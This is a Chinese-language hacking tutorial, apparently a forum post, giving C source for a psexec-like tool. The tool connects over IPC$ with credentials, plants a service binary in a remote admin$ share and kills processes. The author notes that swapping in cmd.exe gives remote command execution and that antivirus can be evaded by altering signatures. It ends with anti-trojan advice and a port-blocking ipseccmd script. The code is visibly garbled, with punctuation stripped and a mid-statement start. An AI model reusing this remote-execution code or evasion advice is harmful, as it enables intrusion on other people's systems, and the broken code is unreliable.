           　 // pointer to the process name p = 　LPSTR　 　　DWORD　pInst ＋ pInst－>NameOffset　　 // convert it to ascii rc = WideCharToMultiByte　 CP_ACP　0　　LPCWSTR　p　－1　szProcessName　sizeof　szProcessName　　NU LL　NULL　　 // if we cant convert the string then use a default value if 　　rc　 strcpy　 ProList　i　.ProcessName　 UNKNOWN_TASK 　　 else strncpy　ProList　i　.ProcessName　 szProcessName　sizeof　ProList　i　.ProcessName　－1　　 // get the process id pCounter = 　PPERF_COUNTER_BLOCK　 　　DWORD　pInst ＋ pInst－>ByteLength　　 ProList　i　.dwProcessID = ＊　　LPDWORD　 　　DWORD　pCounter ＋ dwProcessIdCounter　　　 // next process pInst = 　PPERF_INSTANCE_DEFINITION　 　　DWORD　pCounter ＋ pCounter－>ByteLength　　 　 dwRet=i　 　//end of try __finally 　 if 　buf　 free　 buf 　　 RegCloseKey　 hKeyNames 　　 RegCloseKey　 HKEY_PERFORMANCE_DATA 　　 if　bRemote　 　 char tmp　52　　tmp2　96　　 strncpy　tmp　ip　sizeof　tmp　－1　　 wsprintf　tmp2　"
          
         
        
       
      
     
    程序在Windows2000、VC＋＋6.0环境下编译，运行良好。注意，远程机器要允许IPC连接和远程操作注册表才可以，并且需要Admin权限.我们既然说了查看本地、远程系统进程的办法，接下来我们来研究一下怎么杀掉本地、远程NT系统的进程吧。
杀掉本地进程其实很简单，取得进程ID后，调用OpenProcess函数打开进程句柄，然后调用TerminateProcess函数就可以杀掉进程了。有些情况下并不能直接打开进程句柄，例如WINLOGON等系统进程，因为权限不够。这个时候我们就得先提升自己的进程的权限了。提升权限过程也不复杂，先调用GetCurrentProcess函数取得当前进程的句柄，然后调用OpenProcessToken打开当前进程的访问令牌，接着调用LookupPrivilegeValue函数取得你想提升的权限的值，最后调用AdjustTokenPrivileges函数给当前进程的访问令牌增加权限就可以了。一般有了SeDebugPrivilege特权后，就可以杀掉除Idle外的所有进程了。
那如何杀掉远程进程呢？说起来有点复杂，但其实也不难。
<1>与远程系统建立IPC连接
<2>在远程系统的系统目录admin＄\system32中写入一个文件killsrv.exe
<3>调用函数OpenSCManager打开远程系统的Service Control Manager　SCM
<4>调用函数CreateService在远程系统创建一个服务，服务指向的程序是在<2>中写入的程序killsrv.exe
<5>调用函数StartService启动刚才创建的服务，把想杀掉的进程的ID作为参数传递给它
<6>服务启动后，killsrv.exe运行，杀掉进程
<7>清场
这样看来，我们需要两个程序了。Killsrv.exe的源代码如下：＃include 
＃include 
＃include "function.c"
＃define ServiceName "PSKILL"
SERVICE_STATUS_HANDLE ssh　
SERVICE_STATUS ss　
////////////////////////////
void ServiceStopped　void　
　
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS
SERVICE_INTERACTIVE_PROCESS　
ss.dwCurrentState=SERVICE_STOPPED　
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP　
ss.dwWin32ExitCode=NO_ERROR　
ss.dwCheckPoint=0　
ss.dwWaitHint=0　
SetServiceStatus　ssh　＆ss　　
return　
　
/////////////////////////////
void ServicePaused　void　
　
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS
SERVICE_INTERACTIVE_PROCESS　
ss.dwCurrentState=SERVICE_PAUSED　
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP　
ss.dwWin32ExitCode=NO_ERROR　
ss.dwCheckPoint=0　
ss.dwWaitHint=0　
SetServiceStatus　ssh　＆ss　　
return
void ServiceRunning　void　
　
ss.dwServiceType=SERVICE_WIN32_OWN_PROCESS
SERVICE_INTERACTIVE_PROCESS　
ss.dwCurrentState=SERVICE_RUNNING　
ss.dwControlsAccepted=SERVICE_ACCEPT_STOP　
ss.dwWin32ExitCode=NO_ERROR　
ss.dwCheckPoint=0　
ss.dwWaitHint=0　
SetServiceStatus　ssh　＆ss　　
return　
　
//////////////////////////////
void WINAPI servier_ctrl　DWORD Opcode　//服务控制程序
　
switch　Opcode　
　
case SERVICE_CONTROL_STOP　//停止Service
ServiceStopped　　　
break　
case SERVICE_CONTROL_INTERROGATE　
SetServiceStatus　ssh　＆ss　　
break　
　
return　
　
//////////////////////////////
//杀进程成功设置服务状态为SERVICE_STOPPED
//失败设置服务状态为SERVICE_PAUSED
//
void WINAPI ServiceMain　DWORD dwArgc　LPTSTR ＊lpszArgv　
　
ssh=RegisterServiceCtrlHandler　ServiceName　servier_ctrl　　
if　　ssh　
　
ServicePaused　　　
return　
　
ServiceRunning　　　
Sleep　100　　
//注意，argv　0　为此程序名，argv　1　为pskill　参数需要递增1
//argv　2　=target　argv　3　=user　argv　4　=pwd　argv　5　=pid
if　KillPS　atoi　lpszArgv　5
ServiceStopped　　　
else
ServicePaused　　　
return　
　
//////////////////////////////
void main　DWORD dwArgc　LPTSTR ＊lpszArgv　
　
SERVICE_TABLE_ENTRY ste　2　　
ste　0　.lpServiceName=ServiceName　
ste　0　.lpServiceProc=ServiceMain　
ste　1　.lpServiceName=NULL　
ste　1　.lpServiceProc=NULL　
StartServiceCtrlDispatcher　ste　　
return　
　
/////////////////////////////
function.c中有两个函数，一个是提升权限的，一个是提供进程ID　杀进程的。代码如下：＃include 
//////////////////////////////
BOOL SetPrivilege　HANDLE hToken　LPCTSTR lpszPrivilege　BOOL bEnablePrivilege　
　
TOKEN_PRIVILEGES tp　
LUID luid　
if　　LookupPrivilegeValue　NULL　lpszPrivilege　＆luid　　
　
printf　"\nLookupPrivilegeValue error　％d"　 GetLastError　　 　　
return FALSE　
　
tp.PrivilegeCount = 1　
tp.Privileges　0　.Luid = luid　
if 　bEnablePrivilege　
tp.Privileges　0　.Attributes = SE_PRIVILEGE_ENABLED　
else
tp.Privileges　0　.Attributes = 0
// Enable the privilege or disable all privileges.
AdjustTokenPrivileges　
hToken　
FALSE　
＆tp　
sizeof　TOKEN_PRIVILEGES　　
　PTOKEN_PRIVILEGES　 NULL　
　PDWORD　 NULL　　
// Call GetLastError to determine whether the function succeeded.
if 　GetLastError　　 　= ERROR_SUCCESS　
　
printf　"AdjustTokenPrivileges failed　 ％u\n"　 GetLastError　　 　　
return FALSE　
　
return TRUE　
　
////////////////////////////////////////
BOOL KillPS　DWORD id　
　
HANDLE hProcess=NULL　hProcessToken=NULL　
BOOL IsKilled=FALSE　bRet=FALSE　
__try
　
if　　OpenProcessToken　GetCurrentProcess　　　TOKEN_ALL_ACCESS　＆hProcessToken　　
　
printf　"\nOpen Current Process Token failed　％d"　GetLastError　　　　
__leave　
　
//printf　"\nOpen Current Process Token ok　"　　
if　　SetPrivilege　hProcessToken　SE_DEBUG_NAME　TRUE　　
　
__leave　
　
printf　"\nSetPrivilege ok　"　　
if　　hProcess=OpenProcess　PROCESS_ALL_ACCESS　FALSE　id　　==NULL　
　
printf　"\nOpen Process ％d failed　％d"　id　GetLastError　　　　
__leave　
　
//printf　"\nOpen Process ％d ok　"　id　　
if　　TerminateProcess　hProcess　1
printf　"\nTerminateProcess failed　％d"　GetLastError　　　　
__leave　
　
IsKilled=TRUE　
　
__finally
　
if　hProcessToken　=NULL　 CloseHandle　hProcessToken　　
if　hProcess　=NULL　 CloseHandle　hProcess　　
　
return　IsKilled　　
　
///////////////////////////////////////
服务端的程序已经好了。接下来还需要一个客户端。如果通过在客户端运行的时候，把killsrv.exe COPY到远程系统上，那么就需要提供两个exe文件给用户，这样显得不是很专业，呵呵。不如我们就把killsrv.exe的二进制码作为buff保存在客户端吧，这样在运行的时候，我们直接把buff中的内容写过去，这样提供给用户一个exe文件就可以了。
Pskill.c的源代码如下：＃include "ps.h"
＃define EXE "killsrv.exe"
＃define ServiceName "PSKILL"
＃pragma comment　lib　"mpr.lib"　
///////////////////////////////////////
//定义全局变量
SERVICE_STATUS ssStatus　
SC_HANDLE hSCManager=NULL　hSCService=NULL　
BOOL bKilled=FALSE　
char szTarget　52　=　0　　
///////////////////////////////////////
BOOL ConnIPC　char ＊　char ＊　char ＊　　//建立IPC连接函数
BOOL InstallService　DWORD　LPTSTR ＊　　//安装服务函数
BOOL WaitServiceStop　　　//等待服务停止函数
BOOL RemoveService　　　//删除服务函数
//////////////////////////////////////
int main　DWORD dwArgc　LPTSTR ＊lpszArgv　
　
BOOL bRet=FALSE　bFile=FALSE
char tmp　52　=　0　　RemoteFilePath　128　=　0　　
szUser　52　=　0　　szPass　52　=　0　　
HANDLE hFile=NULL　
DWORD i=0　dwIndex=0　dwWrite　dwSize=sizeof　exebuff　　
//杀本地进程
if　dwArgc==2　
　
if　KillPS　atoi　lpszArgv　1　　　　
printf　"\nLoacl Process ％s have beed killed　"　lpszArgv　1　　　
else
printf　"\nLoacl Process ％s can't be killed　ErrorCode　％d"　
lpszArgv　1　　GetLastError　　　　
return 0　
　
//用户输入错误
else if　dwArgc　=5　
　
printf　"\nPSKILL ==>Local and Remote Process Killer"
"\nPower Sunny<[email protected]>"
"\nhttp　//www.Sunny.com 2000/11/26"
"\n\nUsage　％s  <==Killed Local Process"
"\n％s     <==Killed Remote Process\n"　
lpszArgv　0　　lpszArgv　0　　　
return 1　
　
//杀远程机器进程
strncpy　szTarget　lpszArgv　1　　sizeof　szTarget　－1　　
strncpy　szUser　lpszArgv　2　　sizeof　szUser　－1　　
strncpy　szPass　lpszArgv　3　　sizeof　szPass　－1　　
//将在目标机器上创建的exe文件的路径
sprintf　RemoteFilePath　"\\\\％s\\admin＄\\system32\\％s"　szTarget　EXE　　
__try
　
//与目标建立IPC连接
if　　ConnIPC　szTarget　szUser　szPass　　
　
printf　"\nConnect to ％s failed　％d"　szTarget　GetLastError　　　　
return 1　
　
printf　"\nConnect to ％s success　"　szTarget　　
//在目标机器上创建exe文件
hFile=CreateFile　RemoteFilePath　GENERIC_ALL　FILE_SHARE_READ
FILE_SHARE_WRITE
NULL　CREATE_ALWAYS　FILE_ATTRIBUTE_NORMAL　NULL　　
if　hFile==INVALID_HANDLE_VALUE　
　
printf　"\nCreate file ％s failed　％d"　RemoteFilePath　GetLastError　　　　
__leave　
　
//写文件内容
while　dwSize>dwIndex　
　
if　　WriteFile　hFile　＆exebuff　dwIndex　　dwSize－dwIndex　＆dwWrite　NULL　　
　
printf　"\nWrite file ％s
failed　％d"　RemoteFilePath　GetLastError　　　　
__leave　
　
dwIndex＋=dwWrite　
　
//关闭文件句柄
CloseHandle　hFile　　
bFile=TRUE　
//安装服务
if　InstallService　dwArgc　lpszArgv　　
　
//等待服务结束
if　WaitServiceStop　　　
　
//printf　"\nService was stoped　"　　
　
else
　
//printf　"\nService can't be stoped.Try to delete it."　　
　
Sleep　500　　
//删除服务
RemoveService　　　
　
　
__finally
　
//删除留下的文件
if　bFile　 DeleteFile　RemoteFilePath
//如果文件句柄没有关闭　关闭之～
if　hFile　=NULL　 CloseHandle　hFile　　
//Close Service handle
if　hSCService　=NULL　 CloseServiceHandle　hSCService　　
//Close the Service Control Manager handle
if　hSCManager　=NULL　 CloseServiceHandle　hSCManager　　
//断开ipc连接
wsprintf　tmp　"\\\\％s\\ipc＄"　szTarget　　
WNetCancelConnection2　tmp　CONNECT_UPDATE_PROFILE　TRUE　　
if　bKilled　
printf　"\nProcess ％s on ％s have been
killed　\n"　lpszArgv　4　　lpszArgv　1　　　
else
printf　"\nProcess ％s on ％s can't be
killed　\n"　lpszArgv　4　　lpszArgv　1　　　
　
return 0　
　
////////////////////////////////////
BOOL ConnIPC　char ＊RemoteName　char ＊User　char ＊Pass　
　
NETRESOURCE nr　
char RN　50　="\\\\"　
strcat　RN　RemoteName　　
strcat　RN　"\\ipc＄"　　
nr.dwType=RESOURCETYPE_ANY　
nr.lpLocalName=NULL　
nr.lpRemoteName=RN　
nr.lpProvider=NULL　
if　WNetAddConnection2　＆nr　Pass　User　FALSE　==NO_ERROR　
return TRUE　
else
return FALSE　
　
//////////////////////////////////
BOOL InstallService　DWORD dwArgc　LPTSTR ＊lpszArgv　
　
BOOL bRet=FALSE　
__try
　
//Open Service Control Manager on Local or Remote machine
hSCManager=OpenSCManager　szTarget　NULL　SC_MANAGER_ALL_ACCESS　　
if　hSCManager==NULL
printf　"\nOpen Service Control Manage failed　％d"　GetLastError　　　　
__leave　
　
//printf　"\nOpen Service Control Manage ok　"　　
//Create Service
hSCService=CreateService　hSCManager　// handle to SCM database
ServiceName　// name of service to start
ServiceName　// display name
SERVICE_ALL_ACCESS　// type of access to service
SERVICE_WIN32_OWN_PROCESS　// type of service
SERVICE_AUTO_START　// when to start service
SERVICE_ERROR_IGNORE　// severity of service
failure
EXE　// name of binary file
NULL　// name of load ordering group
NULL　// tag identifier
NULL　// array of dependency names
NULL　// account name
NULL　　// account password
//create service failed
if　hSCService==NULL　
　
//如果服务已经存在，那么则打开
if　GetLastError　　==ERROR_SERVICE_EXISTS　
　
//printf　"\nService ％s Already exists"　ServiceName　　
//open service
hSCService = OpenService　hSCManager　 ServiceName　
SERVICE_ALL_ACCESS　　
if　hSCService==NULL　
　
printf　"\nOpen Service failed　％d"　GetLastError　　　　
__leave　
　
//printf　"\nOpen Service ％s ok　"　ServiceName　　
　
else
　
printf　"\nCreateService failed　％d"　GetLastError　　　　
__leave　
　
　
//create service ok
else
//printf　"\nCreate Service ％s ok　"　ServiceName　　
　
// 起动服务
if 　 StartService　hSCService　dwArgc　lpszArgv　　
　
//printf　"\nStarting ％s."　 ServiceName　　
Sleep　20　　//时间最好不要超过100ms
while　 QueryServiceStatus　hSCService　 ＆ssStatus 　 　
　 if 　 ssStatus.dwCurrentState == SERVICE_START_PENDING 　
　
printf　"."　　
Sleep　20　　
　
else
break　
　
if 　 ssStatus.dwCurrentState 　= SERVICE_RUNNING 　
printf　"\n％s failed to run　％d"　ServiceName　GetLastError　　　　
　
else if　GetLastError　　==ERROR_SERVICE_ALREADY_RUNNING　
　
//printf　"\nService ％s already running."　ServiceName　　
　
else
　
printf　"\nStart Service ％s failed　％d"　ServiceName　GetLastError　　　　
__leave　
　
bRet=TRUE　
　//enf of try
__finally
　
return bRet　
　
return bRet　
　
////////////////////////////////////
BOOL WaitServiceStop　void　
　
BOOL bRet=FALSE　
//printf　"\nWait Service stoped"　　
while　1
Sleep　100　　
if　　QueryServiceStatus　hSCService　 ＆ssStatus　　
　
printf　"\nQueryServiceStatus failed　％d"　GetLastError　　　　
break　
　
if　ssStatus.dwCurrentState==SERVICE_STOPPED　
　
bKilled=TRUE　
bRet=TRUE　
break　
　
if　ssStatus.dwCurrentState==SERVICE_PAUSED　
　
//停止服务
bRet=ControlService　hSCService　SERVICE_CONTROL_STOP　NULL　　
break　
　
else
　
//printf　"."　　
continue　
　
　
return bRet　
　
////////////////////////////////
BOOL RemoveService　void　
　
//Delete Service
if　　DeleteService　hSCService　　
　
printf　"\nDeleteService failed　％d"　GetLastError　　　　
return FALSE　
　
//printf　"\nDelete Service ok　"　　
return TRUE　
　
/////////////////////////////
其中ps.h头文件的内容如下：
////////////////////////////
＃include 
＃include 
＃include "function.c"
unsigned char exebuff　　="这里存放的是killsrv.exe的二进制码"　
//////////////////////////////
以上程序在Windows2000、VC＋＋6.0环境下编译，测试还行。
其实我们变通一下，改变一下killsrv.exe的内容，例如启动一个cmd.exe什么的，这样有了admin权限，并且可以建立IPC连接的时候，不就可以在远程运行命令了吗。象www.sysinternals.com出的psexec.exe和小榕的ntcmd.exe原理都和这差不多的。
也许有人会问了，怎么得到程序的二进制码？随便用一个二进制编辑器，例如UltraEdit等。但是好像不能把二进制码保存为文本，类似这样“\xAB\x77\xCD”，所以我们就不能直接用了。懒的去找这样的工具了，自己写个简单的吧，代码如下：＃include 
＃include 
int main　int argc　char ＊＊argv　
　
HANDLE hFile　
DWORD dwSize　dwRead　dwIndex=0　i　
unsigned char ＊lpBuff=NULL　
__try
　
if　argc　=2　
　
printf　"\nUsage　 ％s "　argv　0　　　
__leave　
　
hFile=CreateFile　argv　1　　GENERIC_READ　FILE_SHARE_READ　NULL　OPEN_EXISTING　FI
LE_ATTRIBUTE_NORMAL　NULL　　
if　hFile==INVALID_HANDLE_VALUE　
　
printf　"\nOpen file ％s failed　％d"　argv　1　　GetLastError　　　　
__leave　
　
dwSize=GetFileSize　hFile　NULL　　 if 　 dwSize==INVALID_FILE_SIZE 　
　
printf　"\nGet file size failed　％d"　GetLastError
__leave　
　
lpBuff=　unsigned char ＊　malloc　dwSize　　
if　　lpBuff　
　
printf　"\nmalloc failed　％d"　GetLastError　　　　
__leave　
　
while　dwSize>dwIndex　
　
if　　ReadFile　hFile　＆lpBuff　dwIndex　　dwSize－dwIndex　＆dwRead　NULL　　
　
printf　"\nRead file failed　％d"　GetLastError　　　　
__leave　
　
dwIndex＋=dwRead　
　
for　i=0　i\\x％.2X"　lpBuff　i　　　
　
　//end of try
__finally
　
if　lpBuff　 free　lpBuff　　
CloseHandle　hFile　　
　
return 0　
　
这样运行：exe2hex killsrv.exe，就把killsrv.exe的二进制码打印到屏幕上了，你可以把它重定向到一个txt文件中去，如exe2hex killsrv.exe >killsrv.txt，然后copy到ps.h中去就搞定了。嘿嘿，其实说了这么多，只是告诉大家的是木马的机制越来越多，从以上的讲解中我们不难写出一个具有入侵、感染、修改、提升用户权限、编译16进制代码等的复合型木马或者可以说是病毒程序吧。而从中你们也因该知道木马不是那么简单的靠别人的木马就能控制别人的电脑的。请大家务必要认真的去对待每一件事情，杀毒软件不是万能的，防火墙也有其弱点！相信自己、依靠自己，不断学习、不断提高自己的安全意识才是我最终的目的。
另，告诉大家一点，杀毒软件的脆弱。我们可以通过修改特征码，修改头文件，修改图标的方法就可以很简单的修改现有可以被杀毒软件杀掉的木马，这是初级黑客（菜鸟）常用的手法，请大家务必要增强自己的安全意识。
就说这么多吧，886
至于怎样防范木马，我就用前人所写的话来说吧
如何避免木马的入侵 
　　谈到这个问题，我真有点害怕讲下去，因为我知道我所讲的这些预防办法那些专门研究木马的黑客早就注意了，或许早就想好了对策，但是不管怎样我相信如果注意了以下几个方面多多少少对阻止木马的入侵有些好处的，特别是对那些入门级的木马！在此先要声明，反木马就象反病毒一样永远没有止境，也永远没有一个百分百的解决方案，因为都是先有木马，然后才有我们反木马的方法和软件，我们始终是个追随者！ 1、 不要执行任何来历不明的软件　　对于从网上下载的软件在安装、使用前一定要用多几种反病毒软件，最好是专门查杀木马的软件进行检查，确定无毒了再执行、使用。2、不要相信你的邮箱不会收到垃圾和带毒的邮件　　永远不要相信你的邮箱就不会收到垃圾和带毒的邮件，即使从没露过面的邮箱或是ISP邮箱，有些时候你永远没办法知道别人如何得知你的mail地址的。3、不要轻信他人　　不要因为是你的好朋友发来的软件就运行，因为你不能确保他的电脑上就不会有病毒，当然好朋友故意欺骗的可能性不大，但也许他（她）中了黑客程序自己还不知道！同时，网络发展到今天，你也不能保证这一定是你的朋友发给你的，因为别人也可冒名给你发邮件。 4、不要随便留下你的个人资料 　　特别不要在聊天室内公开你的Email地址。 因为你永远不会知道是否有人会处心积虑收集起你的资料，以备将来黑你！更不要将重要口令和资料存放在上网的电脑里，以防黑客侵入你的电脑盗走你一切“值钱的东东”。5、网上不要得罪人　　在聊天时，永远不要以为网络上谁也不认识谁就出言不逊，这样会不小心得罪某些高人，到时找你开刀。
6、不要随便下载软件 
　　特别是不可靠的小FTP站点、公众新闻级、论坛或BBS上，因为这些地方正是新病毒发布的首选之地。7、最好使用第三方邮件程序　　如Foxmail等,不要使用Microsoft的Outlook程序，因为Outlook程序的安全漏洞实在太多了，况且Outlook也是那些黑客们首选攻击的对象，已经选好了许多攻击入口；8、不要轻易打开广告邮件中附件或点击其中的链接　　因为广告邮件也是那些黑客程序依附的重要对象，特别是其中的一些链接。 9、将windows资源管理器配置成始终显示扩展名　　因为一些扩展名为：VBS、SHS、PIF的文件多为木马病毒的特征文件，更有些文件为又扩展名，那更应重点查看，一经发现要立即删除，千万不要打开，只有时时显示了文件的全名才能及时发现。10、尽量少用共享文件夹　　如果因工作等其它原因必需设置成共享，则最好单独开一个共享文件夹，把所有需共享的文件都放在这个共享文件夹中，注意千万不要系统目录设置成共享！11、给电子邮件加密　　为了确保你的邮件不被其它人看到，同时也为了防止黑客们的攻击，至于电子邮件的加密请参考《令电子邮件安全传递的方法－PGP签名》一文，在那篇文章中向大家推荐了一款加密专家——PGP，相信它一定不会让你失望的！12、隐藏IP地址　　这一点非常重要！！你上网时最好用一些工具软件隐藏你的电脑的IP地址，如使用ICQ，就进入“ICQMenu\Securi-ty&Privacy”，把“IP Publishing”下面的“Do not Publish IP ad-dress”选项上。13、运行反木马实时监控程序　　最后，好是最重要的一点就是你在上网时必需运行你的反木马实时监控程序，如、the cleaner， 它的实时监控程序TCA，可即时显示当前所有运行程序并有详细的描述信息，加外如加上一些专业的最新杀毒软件、个人防火墙进行监控那更是放心了，当然这要你的爱机够档次才行，你说呢？
这些呢，都是最长要注意的，还有一些注意的地方我已经在 新手谨慎使用点对点下载软件[老鸟也要注意]一文和其他文章里提到过，请大家自行查找附上关闭危险端口的代码：
@echo off
secedit /refreshpolicy >nul
gpupdate >nul
rem For Client only
ipseccmd -w REG -p "HFUT_SECU" -o -x >nul
ipseccmd -w REG -p "HFUT_SECU" -x >nul
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/80" -f *+0:80:TCP -n BLOCK -x >nul
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/1434" -f *+0:1434:UDP -n BLOCK -x >nul
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/137" -f *+0:137:UDP -n BLOCK -x >nul
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/138" -f *+0:138:UDP -n BLOCK -x >nul
rem echo 禁止网上邻居的文件传输（去掉上述两行的 REM 即可生效！）
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/139" -f *+0:139:TCP -n BLOCK -x >nul 
rem echo 禁止NetBIOS/SMB服务和文件和打印机共享和SAMBA（去掉REM生效）
rem ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/1433" -f *+0:1434:UDP -n BLOCK -x >nul
echo 禁止Microsoft的SQL服务开放的端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/135" -f *+0:135:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/135" -f *+0:135:UDP -n BLOCK -x >nul
echo 禁止Location Service服务和防止 Dos 攻击…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/445" -f *+0:445:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/445" -f *+0:445:UDP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1025" -f *+0:1025:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/139" -f *+0:139:UDP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1068" -f *+0:1068:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5554" -f *+0:5554:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9995" -f *+0:9995:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9996" -f *+0:9996:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6129" -f *+0:6129:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block ICMP/255" -f *+0:255:ICMP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/43958" -f *+0:43958:TCP -n BLOCK -x >nul
echo 关闭流行危险端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/20034" -f *+0:20034:TCP -n BLOCK -x >nul
echo 关闭木马NetBus Pro开放的端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1092" -f *+0:1092:TCP -n BLOCK -x >nul
echo 关闭蠕虫LoveGate开放的端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/3996" -f *+0:3996:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4060" -f *+0:4060:TCP -n BLOCK -x >nul
echo 关闭木马RemoteAnything开放的端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4590" -f *+0:4590:TCP -n BLOCK -x >nul
echo 关闭木马ICQTrojan开放的端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1080" -f *+0:1080:TCP -n BLOCK -x >nul
echo 禁止代理服务器扫描…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/113" -f *+0:113:TCP -n BLOCK -x >nul
echo 禁止Authentication Service服务…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/79" -f *+0:79:TCP -n BLOCK -x >nul
echo 禁止Finger扫描…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block UDP/53" -f *+0:53:UDP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/53" -f *+0:53:TCP -n BLOCK -x >nul
echo 禁止区域传递（TCP），欺骗DNS（UDP）或隐藏其他的通信…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/707" -f *+0:707:TCP -n BLOCK -x >nul
echo 关闭nachi蠕虫病毒监听端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/808" -f *+0:808:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23" -f *+0:23:TCP -n BLOCK -x >nul
echo 关闭Telnet 和木马Tiny Telnet Server监听端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/520" -f *+0:520:TCP -n BLOCK -x >nul
echo 关闭Rip 端口…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1999" -f *+0:1999:TCP -n BLOCK -x >nul
echo 关闭木马程序BackDoor的默认服务端口…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2001" -f *+0:2001:TCP -n BLOCK -x >nul
echo 关闭马程序黑洞2001的默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2023" -f *+0:2023:TCP -n BLOCK -x >nul
echo 关闭木马程序Ripper的默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/2583" -f *+0:2583:TCP -n BLOCK -x >nul
echo 关闭木马程序Wincrash v2的默认服务端口…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/3389" -f *+0:3389:TCP -n BLOCK -x >nul
echo 关闭Windows 的远程管理终端（远程桌面）监听端口…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4444" -f *+0:4444:TCP -n BLOCK -x >nul
echo 关闭msblast冲击波蠕虫监听端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/4899" -f *+0:4899:TCP -n BLOCK -x >nul
echo 关闭远程控制软件（remote administrator)服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5800" -f *+0:5800:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/5900" -f *+0:5900:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/8888" -f *+0:8888:TCP -n BLOCK -x >nul
echo 关闭远程控制软件VNC的两个默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6129" -f *+0:6129:TCP -n BLOCK -x >nul
echo 关闭Dameware服务端默认监听端口（可变！）…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6267" -f *+0:6267:TCP -n BLOCK -x >nul
echo 关闭木马广外女生的默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/660" -f *+0:660:TCP -n BLOCK -x >nul
echo 关闭木马DeepThroat v1.0 - 3.1默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6671" -f *+0:6671:TCP -n BLOCK -x >nul
echo 关闭木马Indoctrination默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/6939" -f *+0:6939:TCP -n BLOCK -x >nul
echo 关闭木马PRIORITY默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7306" -f *+0:7306:TCP -n BLOCK -x >nul
echo 关闭木马网络精灵默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7511" -f *+0:7511:TCP -n BLOCK -x >nul
echo 关闭木马聪明基因的默认连接端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/7626" -f *+0:7626:TCP -n BLOCK -x >nul
echo 关闭木马冰河默认端口(注意可变！)…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/8011" -f *+0:8011:TCP -n BLOCK -x >nul
echo 关闭木马WAY2.4默认服务端口…………OK！
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/9989" -f *+0:9989:TCP -n BLOCK -x >nul
echo 关闭木马InIkiller默认服务端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/19191" -f *+0:19191:TCP -n BLOCK -x >nul
echo 关闭木马兰色火焰默认开放的telnet端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/1029" -f *+0:1029:TCP -n BLOCK -x >nul
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/20168" -f *+0:20168:TCP -n BLOCK -x >nul
echo 关闭lovegate 蠕虫所开放的两个后门端口…………OK!
ipseccmd -w REG -p "HFUT_SECU" -r "Block TCP/23444" -f *+0:23444:TCP -n BLOCK -x >nul
echo 关闭木马网络公牛默认服务端口…………OK!
